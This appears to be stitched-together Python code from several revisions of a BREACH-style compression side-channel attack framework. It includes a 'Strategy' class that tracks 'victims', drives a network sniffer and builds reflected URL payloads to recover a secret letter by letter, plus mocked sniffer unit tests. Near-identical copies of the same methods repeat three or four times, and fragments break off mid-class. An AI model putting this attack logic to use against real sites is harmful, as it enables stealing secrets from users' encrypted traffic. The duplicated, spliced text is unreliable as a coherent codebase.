def __init__(self, victim):
self._victim = victim
sniffer_params = {
'snifferendpoint': self._victim.snifferendpoint,
'sourceip': self._victim.sourceip,
'host': self._victim.target.host,
'interface': self._victim.interface,
'port': self._victim.target.port,
'calibration_wait': self._victim.calibration_wait
}
self._sniffer = Sniffer(sniffer_params)
# Extract maximum round index for the current victim.
current_round_index = Round.objects.filter(
victim=self._victim).aggregate(Max('index'))['index__max']
if not current_round_index:
current_round_index = 1
self._analyzed = True
try:
self._begin_attack()
except MaxReflectionLengthError:
# If the initial round or samplesets cannot be created, end the analysis
return
self._round = Round.objects.filter(victim=self._victim,
index=current_round_index)[0]
self._analyzed = False
def setUp(self):
self.endpoint = 'http://localhost'
sniffer_params = {
'snifferendpoint': self.endpoint,
'sourceip': '147.102.239.229',
'host': 'dionyziz.com',
'interface': 'wlan0',
'port': '8080',
'calibration_wait': 0.0
}
self.sniffer = Sniffer(sniffer_params)
def __init__(self, victim):
self._victim = victim
self._sniffer = Sniffer(victim.snifferendpoint, self._victim.sourceip, self._victim.target.host, self._victim.interface, self._victim.target.port)
# Extract maximum round index for the current victim.
current_round_index = Round.objects.filter(victim=self._victim).aggregate(Max('index'))['index__max']
if not current_round_index:
current_round_index = 1
self._analyzed = True
self.begin_attack()
self._round = Round.objects.filter(victim=self._victim, index=current_round_index)[0]
self._analyzed = False
def __init__(self, victim):
self._victim = victim
sniffer_params = {
'snifferendpoint': self._victim.snifferendpoint,
'sourceip': self._victim.sourceip,
'host': self._victim.target.host,
'interface': self._victim.interface,
'port': self._victim.target.port,
'calibration_wait': self._victim.calibration_wait
}
self._sniffer = Sniffer(sniffer_params)
# Extract maximum round index for the current victim.
current_round_index = Round.objects.filter(victim=self._victim).aggregate(Max('index'))['index__max']
if not current_round_index:
current_round_index = 1
self._analyzed = True
try:
self._begin_attack()
except MaxReflectionLengthError:
# If the initial round or samplesets cannot be created, end the analysis
return
self._round = Round.objects.filter(
victim=self._victim,
index=current_round_index
)[0]
self._analyzed = False
class SnifferTest(TestCase):
def setUp(self):
self.endpoint = 'http://localhost'
sniffer_params = {
'snifferendpoint': self.endpoint,
'sourceip': '147.102.239.229',
'host': 'dionyziz.com',
'interface': 'wlan0',
'port': '8080',
'calibration_wait': 0.0
}
self.sniffer = Sniffer(sniffer_params)
@patch('breach.sniffer.requests')
def test_sniffer_start(self, requests):
self.sniffer.start()
self.assertTrue(requests.post.called)
@patch('breach.sniffer.requests')
def test_sniffer_read(self, requests):
self.sniffer.read()
self.assertTrue(requests.get.called)
@patch('breach.sniffer.requests')
def test_sniffer_delete(self, requests):
self.sniffer.delete()
self.assertTrue(requests.post.called)
class SnifferTest(TestCase):
def setUp(self):
self.endpoint = 'http://localhost'
self.sniffer = Sniffer(self.endpoint)
self.source_ip = '147.102.239.229'
self.destination_host = 'dionyziz.com'
@patch('breach.sniffer.requests')
def test_sniffer_start(self, requests):
self.sniffer.start(self.source_ip, self.destination_host)
self.assertTrue(requests.post.called)
@patch('breach.sniffer.requests')
def test_sniffer_read(self, requests):
self.sniffer.read(self.source_ip, self.destination_host)
self.assertTrue(requests.get.called)
@patch('breach.sniffer.requests')
def test_sniffer_delete(self, requests):
self.sniffer.delete(self.source_ip, self.destination_host)
self.assertTrue(requests.post.called)
def setUp(self):
self.endpoint = 'http://localhost'
self.sniffer = Sniffer(self.endpoint)
self.source_ip = '147.102.239.229'
self.destination_host = 'dionyziz.com'
class Strategy(object):
def __init__(self, victim):
self._victim = victim
sniffer_params = {
'snifferendpoint': self._victim.snifferendpoint,
'sourceip': self._victim.sourceip,
'host': self._victim.target.host,
'interface': self._victim.interface,
'port': self._victim.target.port,
'calibration_wait': self._victim.calibration_wait
}
self._sniffer = Sniffer(sniffer_params)
# Extract maximum round index for the current victim.
current_round_index = Round.objects.filter(
victim=self._victim).aggregate(Max('index'))['index__max']
if not current_round_index:
current_round_index = 1
self._analyzed = True
try:
self._begin_attack()
except MaxReflectionLengthError:
# If the initial round or samplesets cannot be created, end the analysis
return
self._round = Round.objects.filter(victim=self._victim,
index=current_round_index)[0]
self._analyzed = False
def _build_candidates_divide_conquer(self, state):
candidate_alphabet_cardinality = len(state['knownalphabet']) / 2
bottom_half = state['knownalphabet'][:candidate_alphabet_cardinality]
top_half = state['knownalphabet'][candidate_alphabet_cardinality:]
return [bottom_half, top_half]
def _build_candidates_serial(self, state):
return state['knownalphabet']
def _build_candidates(self, state):
'''Given a state of the world, produce a list of candidate alphabets.'''
methods = {
Target.SERIAL: self._build_candidates_serial,
Target.DIVIDE_CONQUER: self._build_candidates_divide_conquer
}
return methods[self._round.get_method()](state)
def _get_first_round_state(self):
return {
'knownsecret': self._victim.target.prefix,
'candidatealphabet': self._victim.target.alphabet,
'knownalphabet': self._victim.target.alphabet
}
def _get_unstarted_samplesets(self):
return SampleSet.objects.filter(round=self._round, started=None)
def _reflection(self, alphabet):
# We use sentinel as a separator symbol and we assume it is not part of the
# secret. We also assume it will not be in the content.
# Added symbols are the total amount of dummy symbols that need to be added,
# either in candidate alphabet or huffman complement set in order
# to avoid huffman tree imbalance between samplesets of the same batch.
added_symbols = self._round.maxroundcardinality - self._round.minroundcardinality
sentinel = self._victim.target.sentinel
assert (sentinel not in self._round.knownalphabet)
knownalphabet_complement = list(
set(string.ascii_letters + string.digits) -
set(self._round.knownalphabet))
candidate_secrets = set()
for letter in alphabet:
candidate_secret = self._round.knownsecret + letter
candidate_secrets.add(candidate_secret)
# Candidate balance indicates the amount of dummy symbols that will be included with the
# candidate alphabet's part of the reflection.
candidate_balance = self._round.maxroundcardinality - len(
candidate_secrets)
assert (len(knownalphabet_complement) > candidate_balance)
candidate_balance = [
self._round.knownsecret + c
for c in knownalphabet_complement[0:candidate_balance]
]
reflected_data = [
'',
sentinel.join(list(candidate_secrets) + candidate_balance), ''
]
if self._round.check_huffman_pool():
# Huffman complement indicates the knownalphabet symbols that are not currently being tested
huffman_complement = set(self._round.knownalphabet) - set(alphabet)
huffman_balance = added_symbols - len(candidate_balance)
assert (len(knownalphabet_complement) >
len(candidate_balance) + huffman_balance)
huffman_balance = knownalphabet_complement[len(candidate_balance
):huffman_balance]
reflected_data.insert(
1, sentinel.join(list(huffman_complement) + huffman_balance))
reflection = sentinel.join(reflected_data)
return reflection
def _url(self, alphabet):
return self._victim.target.endpoint % self._reflection(alphabet)
def _sampleset_to_work(self, sampleset):
return {
'url': self._url(sampleset.candidatealphabet),
'amount': self._victim.target.samplesize,
'alignmentalphabet': sampleset.alignmentalphabet,
'timeout': 0
}
def get_work(self):
'''Produces work for the victim.
Pre-condition: There is already work to do.'''
# If analysis is complete or maxreflectionlength cannot be overcome
# then execution should abort
if self._analyzed:
logger.debug('Aborting get_work because analysis is completed')
return {}
# Reaps a hanging sampleset that may exist from previous framework execution
# Hanging sampleset condition: backend or realtime crash
hanging_samplesets = self._get_started_samplesets()
for s in hanging_samplesets:
logger.warning('Reaping hanging set for: {}'.format(
s.candidatealphabet))
self._mark_current_work_completed(sampleset=s)
try:
self._sniffer.start()
except (requests.HTTPError, requests.exceptions.ConnectionError), err:
if isinstance(err, requests.HTTPError):
status_code = err.response.status_code
logger.warning(
'Caught {} while trying to start sniffer.'.format(
status_code))
# If status was raised due to conflict,
# delete already existing sniffer.
if status_code == 409:
try:
self._sniffer.delete()
except (requests.HTTPError,
requests.exceptions.ConnectionError), err:
logger.warning(
'Caught error when trying to delete sniffer: {}'.
format(err))
elif isinstance(err, requests.exceptions.ConnectionError):
logger.warning('Caught ConnectionError')
class Strategy(object):
def __init__(self, victim):
self._victim = victim
self._sniffer = Sniffer(victim.snifferendpoint, self._victim.sourceip, self._victim.target.host, self._victim.interface, self._victim.target.port)
# Extract maximum round index for the current victim.
current_round_index = Round.objects.filter(victim=self._victim).aggregate(Max('index'))['index__max']
if not current_round_index:
current_round_index = 1
self._analyzed = True
self.begin_attack()
self._round = Round.objects.filter(victim=self._victim, index=current_round_index)[0]
self._analyzed = False
def _build_candidates_divide_conquer(self, state):
candidate_alphabet_cardinality = len(state['knownalphabet']) / 2
bottom_half = state['knownalphabet'][:candidate_alphabet_cardinality]
top_half = state['knownalphabet'][candidate_alphabet_cardinality:]
return [bottom_half, top_half]
def _build_candidates_serial(self, state):
return state['knownalphabet']
def _build_candidates(self, state):
'''Given a state of the world, produce a list of candidate alphabets.'''
methods = {
'serial': self._build_candidates_serial,
'divide&conquer': self._build_candidates_divide_conquer
}
return methods[self._victim.method](state)
def _get_first_round_state(self):
return {
'knownsecret': self._victim.target.prefix,
'candidatealphabet': self._victim.target.alphabet,
'knownalphabet': self._victim.target.alphabet
}
def _get_unstarted_samplesets(self):
return SampleSet.objects.filter(
round=self._round,
started=None
)
def _reflection(self, sampleset):
# We use '^' as a separator symbol and we assume it is not part of the
# secret. We also assume it will not be in the content.
# Added symbols are the total amount of dummy symbols that need to be added,
# either in candidate alphabet or huffman complement set in order
# to avoid huffman tree imbalance between samplesets of the same batch.
added_symbols = self._round.maxroundcardinality - self._round.minroundcardinality
sentinel = '^'
assert(sentinel not in self._round.knownalphabet)
knownalphabet_complement = list(set(string.ascii_letters + string.digits) - set(self._round.knownalphabet))
candidate_secrets = set()
for letter in sampleset.candidatealphabet:
candidate_secret = self._round.knownsecret + letter
candidate_secrets.add(candidate_secret)
# Candidate balance indicates the amount of dummy symbols that will be included with the
# candidate alphabet's part of the reflection.
candidate_balance = self._round.maxroundcardinality - len(candidate_secrets)
assert(len(knownalphabet_complement) > candidate_balance)
candidate_balance = [self._round.knownsecret + c for c in knownalphabet_complement[0:candidate_balance]]
# Huffman complement indicates the knownalphabet symbols that are not currently being tested
huffman_complement = set(self._round.knownalphabet) - set(sampleset.candidatealphabet)
huffman_balance = added_symbols - len(candidate_balance)
assert(len(knownalphabet_complement) > len(candidate_balance) + huffman_balance)
huffman_balance = knownalphabet_complement[len(candidate_balance):huffman_balance]
reflected_data = [
'',
sentinel.join(list(candidate_secrets) + candidate_balance),
sentinel.join(list(huffman_complement) + huffman_balance),
''
]
reflection = sentinel.join(reflected_data)
return reflection
def _sampleset_to_work(self, sampleset):
return {
'url': self._victim.target.endpoint % self._reflection(sampleset),
'amount': SAMPLES_PER_SAMPLESET,
'alignmentalphabet': sampleset.alignmentalphabet,
'timeout': 0
}
def get_work(self):
'''Produces work for the victim.
Pre-condition: There is already work to do.'''
try:
self._sniffer.start()
except (requests.HTTPError, requests.exceptions.ConnectionError), err:
if isinstance(err, requests.HTTPError):
status_code = err.response.status_code
logger.warning('Caught {} while trying to start sniffer.'.format(status_code))
# If status was raised due to conflict,
# delete already existing sniffer.
if status_code == 409:
try:
self._sniffer.delete()
except (requests.HTTPError, requests.exceptions.ConnectionError), err:
logger.warning('Caught error when trying to delete sniffer: {}'.format(err))
elif isinstance(err, requests.exceptions.ConnectionError):
logger.warning('Caught ConnectionError')
class Strategy(object):
def __init__(self, victim):
self._victim = victim
sniffer_params = {
'snifferendpoint': self._victim.snifferendpoint,
'sourceip': self._victim.sourceip,
'host': self._victim.target.host,
'interface': self._victim.interface,
'port': self._victim.target.port,
'calibration_wait': self._victim.calibration_wait
}
self._sniffer = Sniffer(sniffer_params)
# Extract maximum round index for the current victim.
current_round_index = Round.objects.filter(victim=self._victim).aggregate(Max('index'))['index__max']
if not current_round_index:
current_round_index = 1
self._analyzed = True
try:
self._begin_attack()
except MaxReflectionLengthError:
# If the initial round or samplesets cannot be created, end the analysis
return
self._round = Round.objects.filter(
victim=self._victim,
index=current_round_index
)[0]
self._analyzed = False
def _build_candidates_divide_conquer(self, state):
candidate_alphabet_cardinality = len(state['knownalphabet']) / 2
bottom_half = state['knownalphabet'][:candidate_alphabet_cardinality]
top_half = state['knownalphabet'][candidate_alphabet_cardinality:]
return [bottom_half, top_half]
def _build_candidates_serial(self, state):
return state['knownalphabet']
def _build_candidates(self, state):
'''Given a state of the world, produce a list of candidate alphabets.'''
methods = {
Target.SERIAL: self._build_candidates_serial,
Target.DIVIDE_CONQUER: self._build_candidates_divide_conquer
}
return methods[self._round.get_method()](state)
def _get_first_round_state(self):
return {
'knownsecret': self._victim.target.prefix,
'candidatealphabet': self._victim.target.alphabet,
'knownalphabet': self._victim.target.alphabet
}
def _get_unstarted_samplesets(self):
return SampleSet.objects.filter(
round=self._round,
started=None
)
def _reflection(self, alphabet):
# We use sentinel as a separator symbol and we assume it is not part of the
# secret. We also assume it will not be in the content.
# Added symbols are the total amount of dummy symbols that need to be added,
# either in candidate alphabet or huffman complement set in order
# to avoid huffman tree imbalance between samplesets of the same batch.
added_symbols = self._round.maxroundcardinality - self._round.minroundcardinality
sentinel = self._victim.target.sentinel
assert(sentinel not in self._round.knownalphabet)
knownalphabet_complement = list(set(string.ascii_letters + string.digits) - set(self._round.knownalphabet))
candidate_secrets = set()
for letter in alphabet:
candidate_secret = self._round.knownsecret + letter
candidate_secrets.add(candidate_secret)
# Candidate balance indicates the amount of dummy symbols that will be included with the
# candidate alphabet's part of the reflection.
candidate_balance = self._round.maxroundcardinality - len(candidate_secrets)
assert(len(knownalphabet_complement) > candidate_balance)
candidate_balance = [self._round.knownsecret + c for c in knownalphabet_complement[0:candidate_balance]]
reflected_data = [
'',
sentinel.join(list(candidate_secrets) + candidate_balance),
''
]
if self._round.check_huffman_pool():
# Huffman complement indicates the knownalphabet symbols that are not currently being tested
huffman_complement = set(self._round.knownalphabet) - set(alphabet)
huffman_balance = added_symbols - len(candidate_balance)
assert(len(knownalphabet_complement) > len(candidate_balance) + huffman_balance)
huffman_balance = knownalphabet_complement[len(candidate_balance):huffman_balance]
reflected_data.insert(1, sentinel.join(list(huffman_complement) + huffman_balance))
reflection = sentinel.join(reflected_data)
return reflection
def _url(self, alphabet):
return self._victim.target.endpoint % self._reflection(alphabet)
def _sampleset_to_work(self, sampleset):
return {
'url': self._url(sampleset.candidatealphabet),
'amount': self._victim.target.samplesize,
'alignmentalphabet': sampleset.alignmentalphabet,
'timeout': 0
}
def get_work(self):
'''Produces work for the victim.
Pre-condition: There is already work to do.'''
# If analysis is complete or maxreflectionlength cannot be overcome
# then execution should abort
if self._analyzed:
logger.debug('Aborting get_work because analysis is completed')
return {}
# Reaps a hanging sampleset that may exist from previous framework execution
# Hanging sampleset condition: backend or realtime crash
hanging_samplesets = self._get_started_samplesets()
for s in hanging_samplesets:
logger.warning('Reaping hanging set for: {}'.format(s.candidatealphabet))
self._mark_current_work_completed(sampleset=s)
try:
self._sniffer.start()
except (requests.HTTPError, requests.exceptions.ConnectionError), err:
if isinstance(err, requests.HTTPError):
status_code = err.response.status_code
logger.warning('Caught {} while trying to start sniffer.'.format(status_code))
# If status was raised due to conflict,
# delete already existing sniffer.
if status_code == 409:
try:
self._sniffer.delete()
except (requests.HTTPError, requests.exceptions.ConnectionError), err:
logger.warning('Caught error when trying to delete sniffer: {}'.format(err))
elif isinstance(err, requests.exceptions.ConnectionError):
logger.warning('Caught ConnectionError')
